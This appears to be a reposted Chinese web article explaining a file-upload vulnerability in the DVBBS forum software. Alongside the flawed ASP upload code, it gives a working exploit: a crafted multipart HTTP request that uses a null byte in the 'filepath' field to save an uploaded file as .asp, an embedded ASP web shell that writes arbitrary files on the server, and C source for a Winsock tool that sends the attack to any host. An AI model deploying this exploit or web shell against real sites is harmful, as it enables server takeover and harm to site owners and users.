分享
 
 
 

动网论坛上传文件漏洞的原理以及攻击的代码实现

王朝other·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小猪(猪蛋儿的《目前流行的BBS安全性比较》一文请参阅:http://wvw.ttian.net/forum/viewtopic.php?id=269)说动网论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近NB论坛上全部都在讨论有关这方面的问题,就研究了一下,发现这个漏洞确实存在,而且非常严重,用小猪的话说是DVBBS7.0 SP2以下通杀.虽然有些人已经知道了攻击方法,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人骂,因为这个漏洞实在太大了).

我们先看一下动网论坛上传文件的相关代码:

'===========无组件上传(upload_0)====================

sub upload_0()

set upload=new UpFile_Class ''建立上传对象

upload.GetDate (int(Forum_Setting(56))*1024) '取得上传数据,不限大小

iCount=0

if upload.err > 0 then

select case upload.err

case 1

Response.Write "请先选择你要上传的文件[ <a href=# onclick=history.go(-1)>重新上传</a> ]"

case 2

Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K[ <a href=# onclick=history.go(-1)>重新上传</a> ]"

end select

exit sub

else

formPath=upload.form("filepath")

''在目录后加(/)

if right(formPath,1)<>"/" then formPath=formPath&"/"

for each formName in upload.file ''列出所有上传了的文件

set file=upload.file(formName) ''生成一个文件对象

if file.filesize<100 then

response.write "请先选择你要上传的图片[ <a href=# onclick=history.go(-1)>重新上传</a> ]"

response.end

end if

fileExt=lcase(file.FileExt)

if CheckFileExt(fileEXT)=false then

response.write "文件格式不正确[ <a href=# onclick=history.go(-1)>重新上传</a> ]"

response.end

end if

randomize

ranNum=int(90000*rnd)+10000

filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt

if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据

file.SaveToFile Server.mappath(filename) ''保存文件

' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>"

response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</script>"

iCount=iCount+1

end if

set file=nothing

next

set upload=nothing

session("upface")="done"

Htmend iCount&" 个文件上传结束!"

end if

end sub

在上面代码中可以看到这样一句:

filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt

这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里来的呢?我们可以在reg_upload.asp中找到这样的代码:

<form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" >

<input type="hidden" name="filepath" value="uploadFace">

<input type="hidden" name="act" value="upload">

<input type="file" name="file1">

<input type="hidden" name="fname">

<input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,

parent.document.forms[0].Submit2.disabled=true;">

</form>

这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了.

当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了:

formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt

这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到'\0'字符,如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface\zwell.asp"这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface\zwell.asp'\0'的字符串然后发送出去就行了.

我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^):

POST /forum/upfile.asp HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*

Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp

Accept-Language: zh-cn

Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)

Host: uyee.com

Content-Length: 1593

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF

-----------------------------7d4a325500d2

Content-Disposition: form-data; name="filepath"

uploadFace\zwell.asp

-----------------------------7d4a325500d2

Content-Disposition: form-data; name="act"

upload

-----------------------------7d4a325500d2

Content-Disposition: form-data; name="file1"; filename="C:\1.gif"

Content-Type: text/plain

<%dim objFSO%>

<%dim fdata%>

<%dim objCountFile%>

<%on error resume next%>

<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>

<%if Trim(request("syfdpath"))<>"" then%>

<%fdata = request("cyfddata")%>

<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>

<%objCountFile.Write fdata%>

<%if err =0 then%>

<%response.write "<font color=red>save Success!</font>"%>

<%else%>

<%response.write "<font color=red>Save UnSuccess!</font>"%>

<%end if%>

<%err.clear%>

<%end if%>

<%objCountFile.Close%>

<%Set objCountFile=Nothing%>

<%Set objFSO = Nothing%>

<%Response.write "<form action='''' method=post>"%>

<%Response.Write "<input type=text name=syfdpath width=32 size=50>"%>

<%Response.Write "<br>"%>

<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>

<%Response.write "<br>"%>

<%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>

<%Response.write "<input type=submit value=save>"%>

<%Response.write "</form>"%>

-----------------------------7d4a325500d2

Content-Disposition: form-data; name="fname"

C:\1.gif

-----------------------------7d4a325500d2

Content-Disposition: form-data; name="Submit"

上传

-----------------------------7d4a325500d2--

上面的数据我是在WIN2003下调试的.按我前面讲的,只要改几个地方就好了

1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif"

2.Content-Disposition: form-data; name="fname"

C:\1.gif

3.最重要的地方:uploadFace\zwell.asp,怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,(因为'\0'这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00).

至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句:

Content-Length: 1593

很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个"-----------------------------7d4a325500d2"开始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,大家看到的"\r\n"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有复制换行才失败的.

写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下:

#include <winsock2.h>

#include <stdio.h>

#include "Resource.h"

#pragma comment(lib,"ws2_32.lib")

HINSTANCE g_hInst;

HWND g_hWnd;

HWND m_up;

HWND m_host;

HWND m_webpath;

HWND m_path;

HWND m_filename;

HWND m_upload;

DWORD m_theadid;

BYTE sendbuf[10000];

char host[80]; //主机地址

char bbspath[50]; //论坛地址

char uppath[20]; //上传目录

char upfilename[50]; //上传文件名

char upfiledata[8000]; //上传文件内容

int sendsize; //总传送数据大小

int realsndsize = 0; //传送页面文件的大小

char snddata[8000];

char mm[1000]=

"<%dim objFSO%>\r\n"

"<%dim fdata%>\r\n"

"<%dim objCountFile%>\r\n"

"<%on error resume next%>\r\n"

"<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n"

"<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n"

"<%fdata = request(\"cyfddata\")%>\r\n"

"<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n"

"<%objCountFile.Write fdata%>\r\n"

"<%if err =0 then%>\r\n"

"<%response.write \"<font color=red>save Success!</font>\"%>\r\n"

"<%else%>"

"<%response.write \"<font color=red>Save UnSuccess!</font>\"%>\r\n"

"<%end if%>\r\n"

"<%err.clear%>\r\n"

"<%end if%>"

"<%objCountFile.Close%>\r\n"

"<%Set objCountFile=Nothing%>\r\n"

"<%Set objFSO = Nothing%>"

"<%Response.write \"<form action=\'\' method=post>\"%>\r\n"

"<%Response.Write \"<input type=text name=syfdpath width=32 size=50>\"%>\r\n"

"<%Response.Write \"<br>\"%>\r\n"

"<%=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))%>\r\n"

"<%Response.write \"<br>\"%>\r\n"

"<%Response.write \"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\"%>\r\n"

"<%Response.write \"<input type=submit value=save>\"%>\r\n"

"<%Response.write \"</form>\"%>\r\n";

//获得控件文本

char *gettext(HWND chwnd)

{

char tmpbuf[10000];

SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);

return tmpbuf;

}

//设置控件文本

void settext(HWND chwnd,char *text)

{

SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text);

}

char *itos(int data)

{

char tmp[10];

sprintf(tmp, "%d", data);

return tmp;

}

//上传线程

DWORD WINAPI uploadthread(LPVOID param)

{

SOCKET s;

sockaddr_in sin;

struct hostent * hp;

unsigned int addr;

s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

ZeroMemory((void *)&sin, sizeof(sin));

hp = gethostbyname(gettext(m_host));

if (!hp)

addr = inet_addr(gettext(m_host));

if ((!hp) && (addr == INADDR_NONE) )

{

MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK);

return 0;

}

if (hp != NULL)

memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length);

else

sin.sin_addr.s_addr = addr;

sin.sin_port = htons(80);

sin.sin_family = AF_INET;

strcpy(host, gettext(m_host));

strcpy(bbspath, gettext(m_webpath));

strcpy(upfiledata, gettext(m_upload));

strcpy(uppath, gettext(m_path));

strcpy(upfilename, gettext(m_filename));

realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;

sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n"

"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"

"Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n"

"Accept-Language: zh-cn\r\n"

"Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n"

"Accept-Encoding: gzip, deflate\r\n"

"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n"

"Host: %s\r\n"

"Content-Length: %d\r\n"

"Connection: Keep-Alive\r\n"

"Cache-Control: no-cache\r\n"

"Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n"

"-----------------------------7d4a325500d2\r\n"

"Content-Disposition: form-data; name=\"filepath\"\r\n\r\n"

"%s\\%s",

bbspath,

host,

realsndsize,

uppath,

upfilename);

sendsize = strlen((char *)sendbuf);

sendbuf[sendsize] = '\0';

sprintf(snddata,

"\r\n"

"-----------------------------7d4a325500d2\r\n"

"Content-Disposition: form-data; name=\"act\"\r\n\r\n"

"upload\r\n"

"-----------------------------7d4a325500d2\r\n"

"Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n"

"Content-Type: text/plain\r\n\r\n"

"%s\r\n"

"-----------------------------7d4a325500d2\r\n"

"Content-Disposition: form-data; name=\"fname\"\r\n\r\n"

"C:\\1.gif\r\n"

"-----------------------------7d4a325500d2\r\n"

"Content-Disposition: form-data; name=\"Submit\"\r\n\r\n"

"上传\r\n"

"-----------------------------7d4a325500d2--\r\n\r\n",

upfiledata);

strcat((char *)&sendbuf[sendsize+1], snddata);

sendsize += strlen(snddata);

sendsize += 1;

if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin)))

{

MessageBox(g_hWnd, "连接出错!", "出错提示:", MB_OK|MB_IConERROR);

return 0;

}

int sendsz = send(s, (char *)sendbuf, sendsize, 0);

if(sendsz <= 0)

MessageBox(g_hWnd, "发送数据失败", itos(WSAGetLastError()), MB_OK);

char recvbuf[10000];

recv(s, (char*)recvbuf, 10000, 0);

settext(m_upload, recvbuf);

closesocket(s);

return 0;

}

void WINAPI On_Command(WPARAM wParam)

{

switch (LOWORD(wParam))

{

case ID_UP:

CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid);

break;

case IDCANCEL:

SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));

break;

}

}

static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam)

{

switch (msg)

{

case WM_INITDIALOG:

g_hWnd = hWndDlg;

m_up = GetDlgItem(g_hWnd, ID_UP);

m_host = GetDlgItem(g_hWnd, IDC_EDIT1);

m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);

m_path = GetDlgItem(g_hWnd, IDC_EDIT3);

m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);

m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);

settext(m_host, "192.168.10.101");

settext(m_webpath, "/");

settext(m_path, "uploadface");

settext(m_filename, "zwell.asp");

settext(m_upload, mm);

return TRUE;

case WM_COMMAND:

On_Command(wParam);

break;

case WM_SIZE:

break;

case WM_CLOSE:

EndDialog(g_hWnd,0);

break;

}

return FALSE;

}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)

{

WSADATA wsaData;

g_hInst=hInstance;

if(WSAStartup(MAKEWORD(1, 1), &wsaData))

{

MessageBox(NULL,"无法初始化 Winsock DLL\t","错误",MB_OK|MB_ICONSTOP);

return 0;

}

DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc);

WSACleanup();

return 1;

}

WINDOWS2003 + VC.NET

WINDOWS2003 WINDOWS2000测试通过

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有